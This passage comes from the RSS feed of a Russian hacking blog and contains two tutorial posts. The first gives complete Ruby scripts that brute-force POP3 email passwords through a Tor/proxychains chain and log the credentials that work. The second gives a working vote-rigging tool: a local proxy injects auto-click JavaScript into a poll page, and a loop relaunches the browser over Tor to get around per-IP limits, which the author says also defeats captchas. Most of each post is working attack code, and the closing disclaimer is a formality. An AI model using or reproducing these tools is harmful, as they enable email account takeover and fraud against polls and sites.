socks4 127<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>1 <span style="color: #cc66cc;">9050</span></pre></td></tr></table></div>

<p>Примечание: как бы я не пытался но у меня так и не получилось заставить proxychains выстроить цепь из одного сервера, минимум цепочка состояла из двух, для этого я здесь и указал локальный хост несколько раз. Возникает вопрос: а почему бы тогда не указать его 2 раза; отвечу: для того чтобы сделать брутфорс более стабильным т.к. при обнаружении мертвого сервера (такое возможно с локальным хостом если ОС не даст сокет) proxychains возьмет следующий, так вот чтобы он мог брать 4 раза следуюший а не 2, здесь и написано 4 раза.</p>
<p>Далее я приведу код примитивного брутфорса, который будет состоять из 2-х скриптов:</p>
<ol>
<li>скрипт инициирующий соединение, будет запускаться под tor&#8217;ом</li>
<li>скрипт инициирующий запуск первого скрипта.</li>
</ol>
<p>1. На входе просит email-адрес, пароль и файл для удачных комбинаций (try_connect.rb)</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/usr/bin/ruby
</span><span style="color: #b1b100;">require</span> <span style="color: #0000ff;">'net/pop'</span>
&nbsp;
n<span style="color: #339933;">=</span>ARGV<span style="color: #339933;">.</span>size
<span style="color: #b1b100;">if</span> n<span style="color: #339933;">!=</span><span style="color: #cc66cc;">3</span>
 puts <span style="color: #0000ff;">&quot;Not enought arguments<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
 <span style="color: #990000;">exit</span>
<span style="color: #990000;">end</span>
&nbsp;
login<span style="color: #339933;">=</span>ARGV<span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #990000;">split</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'@'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span>
pop_server<span style="color: #339933;">=</span><span style="color: #0000ff;">'pop.'</span><span style="color: #339933;">+</span>ARGV<span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #990000;">split</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'@'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span>
paswd<span style="color: #339933;">,</span> outfile<span style="color: #339933;">=</span>ARGV<span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>ARGV<span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span>
&nbsp;
puts <span style="color: #0000ff;">&quot;/#{pop_server}/#{login}/#{paswd}/&quot;</span>
invalid<span style="color: #339933;">=</span><span style="color: #009900; font-weight: bold;">false</span>
begin
  begin
    Net<span style="color: #339933;">::</span><span style="color: #004000;">POP3</span><span style="color: #339933;">.</span>auth_only<span style="color: #009900;">&#40;</span>pop_server<span style="color: #339933;">,</span> <span style="color: #cc66cc;">110</span><span style="color: #339933;">,</span>login<span style="color: #339933;">,</span> paswd<span style="color: #009900;">&#41;</span>
  rescue Net<span style="color: #339933;">::</span><span style="color: #004000;">POPAuthenticationError</span>
    invalid<span style="color: #339933;">=</span><span style="color: #009900; font-weight: bold;">true</span>
    puts <span style="color: #0000ff;">&quot;FAIL /#{ARGV[0]}/#{ARGV[1]}/  #{Time.now}&quot;</span>
  <span style="color: #990000;">end</span>
rescue <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> e
  invalid<span style="color: #339933;">=</span><span style="color: #009900; font-weight: bold;">true</span>
  puts <span style="color: #0000ff;">&quot;#{Time.now} can't connect #{e}&quot;</span>
  <span style="color: #666666; font-style: italic;">#retry
</span><span style="color: #990000;">end</span>
&nbsp;
<span style="color: #b1b100;">if</span> invalid<span style="color: #339933;">==</span><span style="color: #009900; font-weight: bold;">false</span>
  puts <span style="color: #0000ff;">&quot;SUCCESS /#{ARGV[0]}/#{ARGV[1]}/  #{Time.now}&quot;</span>
  <span style="color: #990000;">File</span><span style="color: #339933;">.</span>open<span style="color: #009900;">&#40;</span>outfile<span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;a&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">do</span> <span style="color: #339933;">|</span>sfile<span style="color: #339933;">|</span>
    sfile<span style="color: #339933;">.</span>puts <span style="color: #0000ff;">&quot;#{Time.now}  #{ARGV[0]}:#{ARGV[1]}&quot;</span>
  <span style="color: #990000;">end</span>
<span style="color: #990000;">end</span></pre></td></tr></table></div>

<p>2. На входе просит фаил-список e-mail адресов и файл для удачных комбинаций (get_next.rb)</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/usr/bin/ruby
</span>
n<span style="color: #339933;">=</span>ARGV<span style="color: #339933;">.</span>size
<span style="color: #b1b100;">if</span> n<span style="color: #339933;">&lt;</span><span style="color: #cc66cc;">1</span> or n<span style="color: #339933;">&gt;</span><span style="color: #cc66cc;">2</span>
  puts <span style="color: #0000ff;">&quot;Not enought arguments<span style="color: #000099; font-weight: bold;">\n</span>  []&quot;</span>
  <span style="color: #990000;">exit</span>
<span style="color: #990000;">end</span>
&nbsp;
infile<span style="color: #339933;">=</span>ARGV<span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span>
<span style="color: #b1b100;">if</span> n<span style="color: #339933;">==</span><span style="color: #cc66cc;">1</span> then outfile<span style="color: #339933;">=</span>infile<span style="color: #339933;">+</span><span style="color: #0000ff;">'_out'</span> <span style="color: #b1b100;">else</span> outfile<span style="color: #339933;">=</span>ARGV<span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #990000;">end</span>
&nbsp;
begin
  <span style="color: #990000;">file</span><span style="color: #339933;">=</span><span style="color: #990000;">File</span><span style="color: #339933;">.</span><span style="color: #000000; font-weight: bold;">new</span><span style="color: #009900;">&#40;</span>infile<span style="color: #009900;">&#41;</span>
rescue <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> e
  puts <span style="color: #0000ff;">&quot;Inputfile error:#{e}&quot;</span>
<span style="color: #990000;">end</span>
&nbsp;
pass<span style="color: #339933;">=</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'yourfirstpass'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'yoursecondpass'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'yourthirdpass'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'  etc'</span><span style="color: #009900;">&#93;</span>
&nbsp;
str<span style="color: #339933;">=</span><span style="color: #0000ff;">''</span>
no<span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span>
<span style="color: #b1b100;">while</span> str<span style="color: #339933;">!=</span>nil
  puts <span style="color: #0000ff;">&quot;#{no})&quot;</span>
  str<span style="color: #339933;">=</span><span style="color: #990000;">file</span><span style="color: #339933;">.</span>gets
  <span style="color: #b1b100;">if</span> str<span style="color: #339933;">!=</span>nil
    <span style="color: #990000;">mail</span><span style="color: #339933;">=</span>str<span style="color: #339933;">.</span>to_s<span style="color: #339933;">.</span><span style="color: #990000;">chop</span><span style="color: #339933;">!</span>
    pass<span style="color: #339933;">.</span><span style="color: #990000;">each</span> <span style="color: #b1b100;">do</span> <span style="color: #339933;">|</span>paswd<span style="color: #339933;">|</span>
      puts <span style="color: #0000ff;">&quot;proxychains ./try_connect.rb #{mail} #{paswd}&quot;</span><span style="color: #339933;">+</span>
      <span style="color: #0000ff;">&quot;#{outfile}&quot;</span>
      <span style="color: #990000;">system</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;proxychains ./try_connect.rb #{mail} #{paswd}&quot;</span><span style="color: #339933;">+</span>
      <span style="color: #0000ff;">&quot;#{outfile}&quot;</span><span style="color: #009900;">&#41;</span>
      <span style="color: #990000;">sleep</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">3</span><span style="color: #009900;">&#41;</span> <span style="color: #666666; font-style: italic;">#интервал между запросами
</span>    <span style="color: #990000;">end</span><span style="color: #666666; font-style: italic;">#each
</span>  <span style="color: #990000;">end</span><span style="color: #666666; font-style: italic;">#if
</span>  no<span style="color: #339933;">+=</span><span style="color: #cc66cc;">1</span>
<span style="color: #990000;">end</span><span style="color: #666666; font-style: italic;">#while
</span><span style="color: #990000;">file</span><span style="color: #339933;">.</span>close</pre></td></tr></table></div>

<p><strong>Теперь рассмотрим прицип работы:</strong></p>
<ol>
<li>скрипт get_next.rb берет из списка email и дает команду интерпритатору bash: &#8216;proxychains ./try_connect.rb #{mail} #{paswd} #{outfile}&#8217;</li>
<li>bash запускает proxychains</li>
<li>proxychains запускает try_connect.rb под своим прикрытием т.е. пакет идет на локальный прокси/сокс privoxy, который в свою очередь доверяет маршрутизацию пакета сети Tor, который предусмотрительно меняет свои сервера (в этом можно убедиться запустив браузер под tor&#8217;ом, где обновлять страницу скажем 2ip.ru)</li>
<li>по выше приведенному пути try_connect.rb ведет диалог с pop3-сервером поповоду авторизации</li>
</ol>
<p>Использовать связку tor-privoxy-proxychains можно для любого брутфорса, работающего на протоколах выше IP, по-мойму кроме ICMP, тем самым можно не писать нудные процедуры посылки пакета через прокси, а написав примитивный брутфорс запускать его под этой связкой.</p>
<p>Примечание: все выше указанное ПО, в том числе скрипты, тестировались только под ОС Linux, однако на офсайтах privoxy,tor и proxychains заявленно что существуют версии и для Windows и для Mac. Приведенные здесь скрипты написанны на Ruby, который в свою очередь тоже являеться кроссплатформенным.<br />
Увеличить скорость работы приведенных скриптов можно добавив многопоточность.</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="" style="font-family:monospace;">Статья является плодом бурной фантазии автора и не призывает
ни к каким действиям, противоречащим законодательству.
Ответственность за использование материала ложиться только
на вас! Любые совпадения с реальными людьми считаются
случайными.</pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/06/16/bessmertnyiy-universalnyiy-brutfors/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>копирование сложноформируемого HTTP-запроса или как накрутить голосование</title>
		<link>http://blog.lukmus.ru/2010/06/16/kopirovanie-slozhnoformiruemogo-http-zap/</link>
		<comments>http://blog.lukmus.ru/2010/06/16/kopirovanie-slozhnoformiruemogo-http-zap/#comments</comments>
		<pubDate>Wed, 16 Jun 2010 22:36:39 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[privoxy]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[tor]]></category>
		<category><![CDATA[webrick]]></category>
		<category><![CDATA[накрутка голосования]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=7</guid>
		<description><![CDATA[Сейчас трудно найти более-менее популярный сайт, где бы важные для сайта, запросы (голосование, подтверждение перевода денег итд ) формировались через переданные сервером в явном виде данные. Подобные действия со стороны администрации и программистов сайта ясны &#8211; они хотят максимально усложнить процесс копирования запроса браузера. Обычно для усложнения данных запроса на клиентской стороне используеться JavaScript и [...]]]></description>
			<content:encoded><![CDATA[<p>Сейчас трудно найти более-менее популярный сайт, где бы важные для сайта, запросы (голосование, подтверждение перевода денег итд ) формировались через переданные сервером в явном виде данные. Подобные действия со стороны администрации и программистов сайта ясны &#8211; они хотят максимально усложнить процесс копирования запроса браузера.<br />
Обычно для усложнения данных запроса на клиентской стороне используеться JavaScript и как правило этот скрипт не так уж легко понять (200-1000 строчек хрензнаеткакнаписанного кода):</p>
<ol>
<li>сервер посылает гипер-текстовую страницу с вкраплениями JS и исходных данных</li>
<li>JS обрабатывает переданные в явном виде данные и формирует из них данные для верификации запроса</li>
<li>браузер дает запрос серверу с целевыми аргументами и аргументами для верификации запроса</li>
<li>сервер анализирует полученные данные верификации запроса и если они удовлетворяют требованиям, то обрабатывает целевые</li>
</ol>
<p>Мой способ обойти подобные сложности не претендует на изящность или сверхскорость, однако он рабочий и более-менее универсальный, а самое главное не придеться разбирать JS. Далее я опишу этот способ на примере накрутчика голосования.<br />
<a href="http://blog.lukmus.ru/wp-content/uploads/2010/06/00bx4c4k.jpg"><img class="aligncenter size-full wp-image-1036" title="00bx4c4k" src="http://blog.lukmus.ru/wp-content/uploads/2010/06/00bx4c4k.jpg" alt="" width="517" height="388" /></a><br />
<span id="more-7"></span></p>
<p>Итак, у нас имеется сайт с голосованием, где:</p>
<ol>
<li>в течении 24-х часов с одного ip-адреса можно проголосовать только 1 раз</li>
<li>данные запроса к серверу содержат кукисы, целевое значение(номер позиции, за которую я проголосовал), данные верификации запроса (формируются посредством 750-строчного JS-кода закодированного всеми возможными base64, а так же какими-то своими способами кодирования и все это разбавлено максимально непонятным стилем программирования).</li>
</ol>
<p>Ограничение с ip-адресом мы обходим за счет проксиков/tor/итд, собрать сам AJAX/POST-пакет с кукисами и целевыми параметрами мы тоже легко можем, однако как быть с параметрами формируемыми JS.<br />
Первая мысль, конечно, была &#8211; разобрать сам JS код, но как показала практика это того не стоит.<br />
Второй вариант &#8211; найти/написать самому интерпритатор JS с поддержкой DOM, но писать самому это очень долго, а существующие решения весьма карявые и сильно не дотягивают до интерпритаторов современных браузеров.<br />
Третьей мыслью и был как раз мой способ.</p>
<h2>1. Web-сервер</h2>
<p>Нам нужно либо написать свой HTTP-сервер, либо воспользоваться уже существующим. Код для формирования страниц там будет очень легкий, поэтому жизнеспособны оба варианта. Я воспользовался чем-то средним между двумя этими вариантами &#8211; библиотека-сервер Webrick. Скрипт написан на Ruby.</p>
<pre escaped="true" lang="php" line="1" style='font-size:10px;'><span style="color: #0000ff;">#!/usr/bin/ruby</span>
require 'webrick'
include WEBrick
require 'net/http'

<span style="color: #0000ff;"># глобальный массив браузеров,
# дабы не вызвать подозрений</span>
$user_agents=["Mozilla/5.0 (Windows; U; Windows NT 6.1;"+
  " en-US; rv:1.9.1.5) Gecko/20091102 Firefox/$$v$$",
  "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.17)"+
  " Gecko/2010010604 Ubuntu/9.04 (jaunty) Firefox/$$v$$",
  "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.7)"+
  " Gecko/20091221 MRA 5.5 (build 02842) Firefox/$$v$$",
  "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.7)"+
  " Gecko/20191231 MRA 5.4 (build 02842) Firefox/$$v$$",
  "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;"+
  " WebMoney Advisor)",
  "Opera/9.80 (Windows NT 5.1; U; MRA 5.5 (build 02842); ru)"+
  " Presto/2.2.15 Version/$$v$$",
  "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.2.15 Version/$$v$$",
  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident"+
  "/$$v$$; GTB6.4; InfoPath.2; .NET CLR 1.1.4322)",
  "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/"+
  "532.5 (KHTML, like Gecko) Chrome/$$v$$.249.78 Safari/532.5",
  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Tr"+
  "ident/4.0; GTB6.4; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30"+
  "729; .NET CLR 3.0.30729)",
  "Mozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.17) Gecko/2008"+
  "0528 Epiphany/$$v$$ Firefox/3.0",
  "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/"+
  "532.5 (KHTML, like Gecko) Chrome/4.0.249.78 Safari/532.5",
  "Opera/9.64 (Windows NT 6.0; U; ru) Presto/2.1.1",
  "Lynxy/6.6.6dev.8 libwww-FM/3.14159FM",
  "PycURL/7.18.2",
  "Opera/9.51 (Windows NT 6.0; U; en)"]

<span style="color: #0000ff;"># хэш замен</span>
$replace={"/konkurs"=&gt;"http://kakoi-nit.oprosnik.ru/konkurs"}

<span style="color: #0000ff;"># совершенно не обязательная перегрузка функции
# get из Net::HTTP, увеличивает шансы что
# страница будет загружена, хотя и без нее шансы не малы</span>
class  Net::HTTP
  def my_get(path,headers)
    begin
      return self.get(path,headers)
    rescue TimeoutError
      sleep(1)
      retry
    rescue Errno::ENETUNREACH
      sleep(10)
      retry
    else
      sleep(1)
      retry
    end<span style="color: #0000ff;">#begin</span>
  end<span style="color: #0000ff;">#def</span>
end<span style="color: #0000ff;">#class</span>

<span style="color: #0000ff;"># формирует User-agent запроса посредством
# глобального массива $user_agents</span>
def get_user_agent
  return $user_agents[rand($user_agents.size-1)].
    gsub('$$v$$',"#{(rand(10)+1)}.#{(rand(10)+1)}")
end

<span style="color: #0000ff;"># формирует заголовок запроса</span>
def get_headers
  headers = {   'User-agent'=&gt; get_user_agent,
    'Accept'=&gt; 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language'=&gt; 'ru,en-us;q=0.7,en;q=0.3',
    'Accept-Charset'=&gt; 'UTF-8,*',
    'Keep-Alive'=&gt; '300',
    'Connection'=&gt; 'keep-alive'}
  return headers
end

<span style="color: #0000ff;"># чисто webrick'овская примочка,
# создает еще один поток который
# ожидает на ввод 'q\n' чтобы завершить
# работу сервера</span>
th=Thread.new do
  while true do if STDIN.gets.chop=="q" then exit! end end
end

<span style="color: #0000ff;"># конфигурируем и запускаем сам сервер webrick</span>
config={}
config.update(:Port =&gt; 8080)
server = HTTPServer.new(config)
ruby_dir = File.expand_path('www')
server.mount("www", HTTPServlet::ERBHandler, ruby_dir)

<span style="color: #0000ff;"># делаем сервелет для webrick</span>
server.mount_proc('/js-miracle') do |req,resp|

  <span style="color: #0000ff;"># получаем страницу голосования с интересуещего нас сайта</span>
  http=Net::HTTP.new('kakoi-nit.oprosnik.ru', 80)
  respp, data = http.my_get("/konkurs/super-golosovanie",get_headers)

  <span style="color: #0000ff;"># передаем куки</span>
  resp['Set-Cookie']=respp['set-cookie']

  <span style="color: #0000ff;">#ВНИМАНИЕ ЗДЕСЬ ВСЯ ФИШКА
  # заменяем часть строки исходной страницы на нужный нам код</span>
  data.gsub!("href=\"javascript: create_verified(0);\"",
    "href=\"javascript: create_verified(0);\" id=\"jslink\"")
  data.gsub!("konkurs/images/vote.png\" alt=\"\" /&gt;&lt;/a&gt;",
    "konkurs/images/vote.png\" alt=\"\" /&gt;&lt;/a&gt;&lt;script "+
    "type=\"text/javascript\"&gt; document.getElementById("+
    "'jslink').onclick();&lt;/script&gt;")
  <span style="color: #0000ff;">#ФИШКА ЗАКОНЧИЛАСЬ</span>

  <span style="color: #0000ff;"># меняем адреса ссылок с относительных на kakoi-nit.oprosnik.ru
  # на абсолютные на kakoi-nit.oprosnik.ru посредством хэша замен $replace</span>
  $replace.each {|k,v| data.gsub!(k,v)}

  <span style="color: #0000ff;"># передаем страницу</span>
  resp.body=data
end<span style="color: #0000ff;">#server</span>

<span style="color: #0000ff;"># запускаем сервер</span>
server.start</pre>
<p>Теперь разберемся. Во-первых не надо пугаться webrick и Ruby это чисто мой выбор, можно использовать абсолютно любую связку PHP+Apache, PHP+Denver итд вплоть до написания своего маленького однопоточного сервера на C или Delphi. Сервелет это что-то типа странички на PHP или ERB, я выбрал его дабы не заморачиваться и писать меньше кода, однако PHP или его аналог ни в чем ему не уступит.</p>
<p>Как это работает и зачем оно нужно:</p>
<ol>
<li>вы запускаете сервер и открываете браузер на странице <code>http://127.0.0.1:8080/js-miracle</code></li>
<li>сервер получив ваш запрос, отправляет запрос на сервер <code>kakoi-nit.oprosnik.ru</code> c целью получить страничку голосования <code>/konkurs/super-golosovanie</code>, иначе говоря заходит по адресу <code>http://kakoi-nit.oprosnik.ru/konkurs/super-golosovanie</code>.</li>
<li>берет полученные от <code>kakoi-nit.oprosnik.ru</code> куки и вкладывает их в ответ вашему браузеру</li>
<li>в секторе про ФИШКУ мы заменяем или добавляем наш JS код т.е. допустим при нажатии на кнопку &#8216;голосовать&#8217; управление передаеться в JS функцию <code>formirovanie_verified_parameters()</code>, в которой к параметрам формы добавляеться всякая фигня для верификации (заполнение скрытых полей, добавление новых кукисов итд) без которой <code>kakoi-nit.oprosnik.ru</code> воспримит наш следующий запрос как фальшивый. Конечно, мы можем каждый раз вручную нажимать на кнопку &#8216;голосовать&#8217; но мы же автоматизируем, поэтому мы вставляем сюда код, который при загрузке страницы имитирует нажатие на эту кнопку, причем дальше браузер сам выполнит все как нужно, как будто мы это сделали вручную.<br />
В данном случае у нас есть картинка <code>konkurs/images/vote.png</code>, которая вложена в тэг ссылки</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>a href<span style="color: #339933;">=</span>”javascript<span style="color: #339933;">:</span>create_verified<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>”<span style="color: #339933;">&gt;&lt;</span>img
src<span style="color: #339933;">=</span>”konkurs<span style="color: #339933;">/</span>images<span style="color: #339933;">/</span>vote<span style="color: #339933;">.</span>png” alt<span style="color: #339933;">=</span>”” <span style="color: #339933;">/&gt;&lt;/</span>a<span style="color: #339933;">&gt;</span></pre></td></tr></table></div>

<p>и при загрузке нам нужно на нажать на картинку, чтобы активизировать ссылку, но чтобы это сделать нам сначало нужно как-то идентифицировать ссылку поэтому мы добавляем ей параметр <code>id="jslink"</code>. А затем, добавлем сам код нажатия <code><script type="”text/javascript\”">// <![CDATA[
  document.getElementById(‘jslink’).onclick();
// ]]&gt;</script></code>.</li>
<li>меняет ссылки со всех картинок, css-таблиц, js-файлов итд с относительных <code>kakoi-nit.oprosnik.ru</code> на абсолютные <code>http://kakoi-nit.oprosnik.ru/example_page.html</code>. Короче говоря, когда он получит страницу с <code>kakoi-nit.oprosnik.ru</code> большинство ссылок там будут иметь вид <code>/link/path/to/object.js</code>, и если наш браузер получит страницу с таким путем ссылок, то он будет просить этот ресурс у нашего сервера (webrick), а у нас их нет, зато они есть у <code>kakoi-nit.oprosnik.ru</code>, поэтому мы меняем их на <code>http://kakoi-nit.oprosnik.ru/link/path/to/object.js</code>.</li>
<li>заполянем html-тело ответа нашему браузеру в точности такое же как страница <code>http://kakoi-nit.oprosnik.ru/konkurs/super-golosovanie</code> за исключением смены адресов ссылок и изменение/добавление JS-кода.</li>
</ol>
<p>В итоге в браузере мы получаем точно такую же страницу как <code>http://kakoi-nit.oprosnik.ru/konkurs/super-golosovanie</code>, с теми же самыми куками и параметрами верификации + наш личный JS-код нажатия на кнопку/ссылку, короче код автоматизации процесса.</p>
<h2>2. Обход бана по ip</h2>
<p>Нам нужно выбрать какой-нить браузер, где можно установить так:</p>
<ol>
<li>не использовать прокси/socks/tor/итд для 127.0.0.1</li>
<li>использовать прокси/socks/tor для всех остальных</li>
</ol>
<p>Этим требованиям отлично удовлетворяет FireFox.</p>
<p>Лично я не стал заморачиваться с проксями а решил использовать tor:</p>
<ul>
<li>поднимаем локальный проксик privoxy</li>
<li>устанавливаем tor</li>
<li>в настройках прокси FF ставим адрес и порты privoxy, чаще всего это бывает так 127.0.0.1:8118.</li>
</ul>
<p>Далее ставим домашнюю страницу на наш локальный web-сервер (webrick) т.е. <code>http://127.0.0.1:8080/js-miracle</code></p>
<p>Теперь при запуске вашего браузера он сам будет выполнять все нужные действия т.е. вам нужно только нажать на ярлык браузера и будет отсылаться нужный вам запрос.</p>
<h2>3. Автоматизация запуска браузера</h2>
<p>Поскольку нам нужно отправлять миллионы таких запросов разумно было бы зациклить запуск и закрытие браузера.<br />
Это можно сделать как угодно, для linux это может быть bash-скрипт, для windows &#8211; bat-файл или на худой конец скрипт любого ЯП.<br />
Я выбрал &#8216;худой конец&#8217; (скрипт написан на Ruby, Linux):</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/usr/bin/ruby
</span>lim<span style="color: #339933;">=</span><span style="color: #cc66cc;">200</span>
sleep_time<span style="color: #339933;">=</span><span style="color: #cc66cc;">50</span>
def my_sleep <span style="color: #009900;">&#40;</span>sl<span style="color: #009900;">&#41;</span>
  <span style="color: #b1b100;">for</span> i in <span style="color: #cc66cc;">0</span><span style="color: #339933;">..</span>sl
   <span style="color: #990000;">sleep</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span>
   <span style="color: #b1b100;">print</span> <span style="color: #0000ff;">'.'</span>
   STDOUT<span style="color: #339933;">.</span><span style="color: #990000;">flush</span>
  <span style="color: #990000;">end</span>
<span style="color: #990000;">end</span>
&nbsp;
<span style="color: #b1b100;">for</span> i in <span style="color: #cc66cc;">0</span><span style="color: #339933;">..</span>lim <span style="color: #b1b100;">do</span>
  puts <span style="color: #0000ff;">'browser start'</span>
  <span style="color: #990000;">system</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'firefox http://127.0.0.1:8080/js-miracle &amp;'</span><span style="color: #009900;">&#41;</span>
  my_sleep sleep_time
  puts <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span> kill start&quot;</span>
  <span style="color: #990000;">system</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'killall firefox'</span><span style="color: #009900;">&#41;</span>
<span style="color: #990000;">end</span></pre></td></tr></table></div>

<h3><strong>Замечания и примечания</strong></h3>
<p>После запуска сервера и последнего скрипта каждые 50 секунд будет открываться FF автоматически выполняя вашу задачу, процесс будет повторяться 200 раз т.е. будет отправлено 200 запросов или 200 голосов в голосовании будет за меня. Поскольку постоянное мелькание браузера может раздражать пользователям *nix рекомендую заменить firefox на консольный links, и мелькание прекратиться. Пользователям windows не знаю что посоветовать, кроме как сделать окно FF мимнимального размера.</p>
<p>Что касаеться tor и privoxy, они далеко не обязательны, с ними удобнее, однако по скорости они заметно уступят приватным проксям. Для того чтобы сделать все через прокси, нужно будет использовать такие упаковщики трафика как proxychains и widecap итд. Однако так как они не будут разбираться к какому хосту обращаеться браузер и упаковывают весь трафик, их нужно будет либо настроить на то чтобы не применялись прокси для localhost, либо разместить наш сервер на каком-нить бесплатном хостинге или еще где угодно, главное чтобы не в нашей подсети.</p>
<p>Теперь относительно периода открывания браузера. Я взял 50 секунд, иногда этого много, а иногда мало, в зависимости от выбранных нодов тора. Оптимизаторам следует, конечно, выбирать не постоянный период а вычислять прогрузился ли сайт в браузере или нет, и соответсвенно после того как браузер все сделал закрывать его.</p>
<p>Вся эта штука тестировалась, запускалась и работала только под линуксом, однако все должно работать и под виндой, за исключением скрипта автоматизации запуска браузера, но для винды легко пишеться bat-файл.</p>
<h3>Выводы и итоги</h3>
<p>Этот принцип не отличаеться изящностью и быстродействием, однако он очень универсален, его можно применять далеко не только для опросов. Он хорошо работает для обхода капчи, где верификация капчи проходит через AJAX, парсинга тех сайтов, где админы очень любят все запутать, например списка проксиков, короче он применим везде где вам не нравиться тот или иной JavaScript на странице сайта.<br />
И еще раз обнадежу, весь код приведенный здесь не играет никакого приципиального значения, он целиком и полностью заменяеться аналогичным на PHP, С, Delphi итд.</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="" style="font-family:monospace;">Статья является плодом бурной фантазии автора и не призывает
ни к каким действиям, противоречащим законодательству. 
Ответственность за использование материала ложиться только 
на вас! Любые совпадения с реальными людьми считаются 
случайными.</pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/06/16/kopirovanie-slozhnoformiruemogo-http-zap/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
